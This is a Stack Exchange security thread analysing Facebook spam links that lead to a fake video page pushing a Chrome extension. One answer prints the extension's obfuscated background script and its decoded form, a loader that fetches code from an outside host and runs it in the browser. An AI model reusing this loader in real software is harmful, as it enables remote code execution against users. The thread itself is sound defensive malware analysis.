One of my facebook contacts managed to infect his browser and/or compromise his login details. The result is that in regular intervals, presumably driven by some CRON job, his account posts link to a page on other's profiles.

I'd expect some virus on the page, but the it's just plain HTML document full of what looks like garbage.

<!DOCTYPE html>
<html>

  <head>
    <script type="text/javascript">
            var s e8e1f6a6c9f1e10 = "8a3fe80194";
            var s cc2b282b582ade9 = "7d92d7896e4";
            var s d594ccf3ab0112 = "44c8408f";
            var s 3bd9820d = "7d0b622f28";
            var s e66f0a78 = "f266438b79b";
            var s 6884d9 = "6e191fbdd";
            var s 5d217 = "95fb4c19fe";
            var s 20d4db5 = "a8d55";
            var s c610b0 = "5a62fad009";
            var s d080cdf38c11b56 = "8fba61927";
            var s b1d44d658a6878b = "fa4f4880";
            var s 80515b12c7c7 = "246b48dbae";
            var s 60331 = "d935db5e";
            var s 828d6f177edb = "9141eb4f0a998";
            var s 0f03c57762f594 = "f3e15a92596f";
            var s a51029e91 = "08f1fdaa4f";

    </script>
          <meta property="230a1b9" content="c2011df94c3bd" />
            <meta property="e4f49fa2ba4871e" content="f3ab66c" />
            <meta property="5edfdd7c012" content="03d34ebad190e6c" />
            <meta property="ee1aad1dfb45" content="3b4274f000a6251" />
            <meta property="faa54d3e79164" content="5d17b606b8deb" />
            <meta property="d8edd064d05" content="dc2d82e6e9380" />
            <meta property="7fae6238d5ad614" content="fb2b90b8d3743" />
            <meta property="370c635899882" content="a7489ab5519" />
            <meta property="8be30ad7e182" content="05acd34239b3599" />
            <meta property="f3dcae5" content="53e79f76" />
            <meta property="1c5585cc2" content="0efeeff5ff22" />
            <meta property="e2e47089" content="4bea8c444" />
              <title>
          17.908.529 views</title>
        <meta property="og:title" content="298947538" />
        <meta property="og:description" content="" />
  </head>

  <body>
    <h1>4200e002a7a458a9ac55cf9a</h1>
    <ul>
              <li>
          20438927b0f440696a697ed69        </li>
                <li>
          17ab800d6da89        </li>
                <li>
          83e18a3f99e714febab24        </li>
                <li>
          0902c76df58        </li>
                <li>
          ed84605356fe        </li>
                <li>
          d808b74516ed1ca27cd3        </li>
                <li>
          91bf81068985        </li>
                <li>
          91b0b712c95041690        </li>
                <li>
          7290c3ff31bae4b486b695e9d        </li>
                <li>
          b66acda355e35c        </li>
                <li>
          fcf316a3fef8        </li>
                <li>
          fa4bc9f5120723fc66        </li>
                <li>
          7ae04a845b42258a5        </li>
                <li>
          0a169abdbb        </li>
                <li>
          e2dd58513e4cba177513b4        </li>
                <li>
          34f675d984b130ef6e3cc60cb        </li>
                <li>
          615bf0d1a9        </li>
                  <ul>
            <div class="idadgrn hieesgo tiw">
              idadgrn hieesgo tiw            </div>
  </body>

</html>

Headers are also normal:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 993
Content-Encoding: gzip
Vary: Accept-Encoding
Date: Mon, 12 Sep 2016 21:50:25 GMT
Accept-Ranges: bytes
Server: LiteSpeed
access-control-allow-origin: *
Connection: close

The script in the HTML doesn't even execute since it's not valid javascript code. I guess without bothering the victim, I'll not figure out how did he manage to compromise his account. But I wonder, what is the purpose of those links?

Here is one of them: http://cbf8kcux [DOT] fulldailyonlynews [DOT] com/COs10bR7 Do not follow the URL ouside secure environment. I replaced dots with [DOT] to prevent mindless copy pasting of the link.

What is the purpose of this? Or is this all some kind of red herring?

  • 3
    What if it's a payload or control message designed to be interpreted by some other, already present malware? – André Borie Sep 12 '16 at 23:54
  • well i followed the url actually it cannot do anything.it could work if user have installed some malicious addons/extensions for browser – Fast Snail Sep 13 '16 at 4:33
up vote 5 down vote accepted

André Borie was on the right path. This appears to be a command and control thing of some description.

My GF got a link posted on her FB page and because it had her name in it, she clicked on it. This led her to a website with "random code" as she put it. She immediately told me about this and I put my detective glasses on.

The Link in question was 0udfczyk [dot] videossite [dot] ga / LKbdc84n

When I tried visiting it in a VM in Chrome, it redirected me to a fake facebook video page (on fulldailyonlynews [dot] com) with fake comments and everything, and no matter where you clicked it tried to add a browser extension called "Zuve", requesting access to "Read and change all your data on the websites you visit". Yeah.. no thanks.

Link to extension: https://chrome.google.com/webstore/detail/zuve/ofambggiemkoplmbdloidhlbicfcfmak

Any subsequent visits to the videossite link did not redirect me to the fake Facebook (Fakebook?) site however. They just lead me to the "random code" site as described by the OP here and my GF. These codes (hashes?) change with every refresh of the page, and when cleaning all caches and cookies etc. it will redirect to the fake Facebook page again (once).

I have NOT tried to install the browser extension, but considering the evidence it's pretty obvious that this stuff will do something malicious. It'll probably try (ab)using your Facebook account (or other accounts) to spam more strange links to this stuff.

Other details:

  • Link does not appear to work properly in Firefox or Opera (at least in my case it didn't. No fake facebook page, only the "code stuff" appears)

Screenshots:

http://ks3096924.kimsufi.com/stackexchange/

(had to link it with a directory listing since I can't post more than 2 links yet)

Hope this helps someone..

I downloaded this extension (link in Bambooz's comment) and tried to check what it will do. Here is background.js (the background script runs in the extension process):

var lsym = true;
var cmal = 24059;
var mwwe = {
    "mayeceroh": 53574,
    "avagagozave": 83706,
    "zunucog": 40507,
    "agifarig": 20915,
    "koyuci": 89453
};
var zsyt = 45095;
var pnpgnw = this;
var dkrjfv = lwawh("3pYSKX4uo37VHpmhnNFbg",1,true);
var tcqrsh = lwawh("ryY7J8Z3g74UyR2kVm.lIf",10,false);
var rjowvk = lwawh("rCBFMe=kaJkzI24kVJidHRe09_",14,false);
var rsohfd = lwawh("1X7ly4Dg",3,false);
var tanxle = lwawh("E.5gmeigdC",6,false);
pnpgnw[rsohfd](dkrjfv+tcqrsh+rjowvk)[tanxle](function(lcqbpv) {
  var yvtdn = lwawh("3wfEI2",4,true);
  if(lcqbpv[yvtdn]){
    var hqnom = lwawh("dEkiMpwwiHI2j",9,false);
    lcqbpv[hqnom]()[tanxle](function(qevtny){
      var elprl = lwawh("vqGEgmpp",5,true);
      var ulmsq = lwawh("oXBqr?m9Szs1oV29dV5Yysi/2F",11,false);
      var mpytne = pnpgnw[elprl][ulmsq](qevtny);
      var mmtry = lwawh("jtwHM2llnDGrypi",7,false);
      var vcatxl = lwawh("1ELg1KZMnDuHc4eJ_yEHN4",9,true);
      var mkebn = lwawh("gtYlUuDVoEY",5,false);
      var ghvrw = pnpgnw[mmtry][vcatxl](mkebn);
      var otpjhs = lwawh("RuIrJi6gRmk",8,true);
      ghvrw[otpjhs] = mpytne;
      var tllma = lwawh("1u9=ye:",3,false);
      var bjltd = lwawh("UuuUoNZoRkZ7KreeaBP_ef",11,true);
      pnpgnw[mmtry][tllma][bjltd](ghvrw);
    });
  }
});
function lwawh(fdnzl,xijua,xgeswl){
  var yfhfby = "uTDHJMXrk?mNoICxU_37Y:zsAnhO=SEBdfv52p9/Gab1gLlF.jt60Z4e8cViyRKP";
  var qtlobq = ["Vt\/f.4IFjAM?nDmv7p:0OPrRh=ElbkTzacSZxUsX569ugL_CK1GB8JedYiNo32yH","X5Rdn?im41Y96:BAM8PIoUtulCpVS\/vb3k7cgExfjhH2_FJON.GZTLsyeDa0zKr=","Gl1m:NguS0Ex7JRFpyCHz_ZB6OPno\/UKfsM2jh84Ai5?9bIa3LYTcXd.tkveDr=V","iJMP?pCVUBr32:OA54TvtcgFaK=ysR9nzlo\/L8.k67xZdXEjNYS0efuHG1I_bmhD","H2FkGTno1O9AIux5\/dXSZagM7Nt8.bsvJ?rVpKY0=cjRCfePD3UB6:Ey_i4mlhLz","NHC_67h825t.TzGEmIj9cXou=pg0n:1OfLKSxrlDAeRybviaPY4BM\/UVFs3k?ZJd","mOyK5gjaz0T7R?kAL9S\/cUZG3V1Xrfxs:P_.hbN4Y2lo=uFCE8itdJMeBDv6IpHn","YFb2a1RVUnrm=Bjs\/HTIc4DhxegyC5JilfZ7GkPuzoLO:p8S0X9.t6EK_MN?3dvA"];
  var oqdaom = "";
  var imzfs = 0;
  while(qtlobq[imzfs]){
    imzfs++;
  }
  var xnykx = 0;
  while(fdnzl[xnykx]){
    var liscvq = 0;
    var xpxrc = -1;
    while(yfhfby[liscvq]){
      if(yfhfby[liscvq] == fdnzl[xnykx]){
        xpxrc = liscvq;
        break;
      }
      liscvq++;
    }
    if(xpxrc >= 0){
      var rfgqzf = 0;
      var eqvzdw = -1;
      while(qtlobq[xnykx%imzfs][rfgqzf]){
        if(qtlobq[xnykx%imzfs][rfgqzf] == fdnzl[xnykx]){
          eqvzdw = rfgqzf;
          break;
        }
      rfgqzf++;
      }
      oqdaom += yfhfby[eqvzdw];
    }else{
      oqdaom += fdnzl[xnykx];
    }
    xnykx++;
  }
  var ttfrv = "";
  for(uevije=xijua;uevije<oqdaom.length;uevije++){
    ttfrv += oqdaom[uevije];
  }
  oqdaom = ttfrv;
  return oqdaom;
}
var pkqu = [
    "enedige",
    "ucosus",
    81739,
    "usurujo",
    98363,
    "ejojata",
    79813
];
var qybb = {
    "ecohididiy": 85533,
    "ajofahacer": "suvazi",
    "upasibug": 89625,
    "pugofutec": 26653,
    "lusatehiy": "getulir",
    "obesomo": "fihayopuz"
};

It was encoded/obfuscated. So I was de-obfuscated to get the origin source code:

window.fetch('http://idorunuso.xyz/kebapurefod/pulagube.bg').then(function(response) {
  if (response.ok) {
    response.blob().then(function(blob) {
      var code = window.URL.createObjectURL(blob);
      var js = window.document.createElement('script');
      js.src = code;
      window.document.head.appendChild(js);
    });
  }
});

As we all see, this code will execute a remote code. Unfortunately, that link returns a 404 error code so I can not continue to analyze. But from what we have seen, this is almost a malicious code.

By the way, it is like the malware sample that I analyzed in 2015.

  • Would be nice if Chrome could automatically detect such obfuscated add-ons and block them. – André Borie Sep 15 '16 at 17:21

Your Answer

 

By clicking "Post Your Answer", you acknowledge that you have read our updated terms of service, privacy policy and cookie policy, and that your continued use of the website is subject to these policies.

Not the answer you're looking for? Browse other questions tagged or ask your own question.